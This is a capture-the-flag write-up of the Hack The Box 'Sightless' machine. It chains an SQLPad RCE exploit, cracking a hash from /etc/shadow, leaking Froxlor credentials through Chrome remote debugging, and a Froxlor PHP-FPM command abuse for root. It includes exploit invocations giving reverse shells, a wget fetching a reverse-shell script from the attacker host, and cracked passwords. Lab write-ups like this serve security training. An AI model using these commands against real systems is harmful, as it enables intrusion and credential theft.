Reconnaissance
First, I added the new host to my known ones:
Then, I performed a Nmap scan:
Letโs inspect the website:
After inspecting the code, I discovered the subdomain sqlpad.sightless.htb
:
So I added it to the hosts file and took a look to it:
Weaponization
I searched for โsqlpad 6.10. cveโ and found sqlpad-rce-exploit-CVE-2022-0944
- I also found this info in huntr, which is the PoC that uses the previous exploit
Exploitation
I executed the exploit like
python3 exploit.py http://sqlpad.sightless.htb 10.10.14.104 666
and got a reverse shell!
We can see that we are inside a container because of the .dockerenv
file:
So as we are root, and after searching inside home directory didnโt found anything, we can inspect the /etc/shadow
file and try to crack michaelโs hash:
- Check the note Crack Password Hashes (Sites) ๐คก
It seems to be SHA-512:
michael
is the username.$6$
indicates the hashing algorithm (SHA-512).mG3Cp2VPGY.FDE8u
is the salt.KVWVIHzqTzhOSYkzJIpFc2EsgmqvPa.q2Z9bLUU6tlBWaEwuxCDEP9UFHIXNUcF2rBnsaFYuJa6DUh/pL2IJD/
is the hash.
We need to format the hash for Hashcat, so we will create a file containing the following:
So letโs use Hashcat to crack the hash:
So we can now ssh as
michael:insaneclownposse
and get user flag :D
Privilege Escalation
Inspecting the /home
directory seems to be another user called john
, so I decided to run linpeas:
But this wasnโt relevant, so I keep looking at linpeas output, and found an interesting port running something:
So I port forwarded the port 8080 to my machine:
The I searched for it:
I didnโt know what was Froxlor, so I searched for it and found thet is a server management software. As I didnโt know the passwd, I decided to take a look at this previous photo:
+
Which lead me to know that Chrome was installed on the machine. I decided to start port-forwarding all left ports to debug them hoping to find some credentials.
- I found this Blog talking about Chrome Remote Debugger Pentesting:
- First, port forward:
ssh -L 40235:localhost:40235 -N michael@sightless.htb
- Configure Network Targets in Chrome:
- Open Chrome Browser and input the sollowing string in URL bar:
chrome://inspect/#devices
- Then click
Configure
and apply the following configuration:
- Open Chrome Browser and input the sollowing string in URL bar:
Go to inspect the new remote target:
Inspecting the index.php
and the Payload option, we can see the credentials in plain text:
Credentials are: admin:ForlorfroxAdmin
. So we log in:
I searched for โFroxlor RCEโ and found this Blog which lead to an authenticated RCE:
- Get the creds
- Set up custom PHP-FPM Restart Command:
- Upload a reverse shell to the machine like:
wget http://10.10.14.104:8090/revshell.sh
- Go to
PHP >> PHP-FPM versions
and set a custom PHP-FPM restart command:
- Upload a reverse shell to the machine like:
- Restart PHP-FPM
- Go to
System >> Settings
and click on PHP-FPM - Click on disable and wait a few seconds
- Click on enable
- Go to
You must wait 5 minutes to get the reverse shell due to cron jobs (because the PHP-FPM service restarts every 5 minutes)
After some time we get root access and the root flag :D
Machine pwned!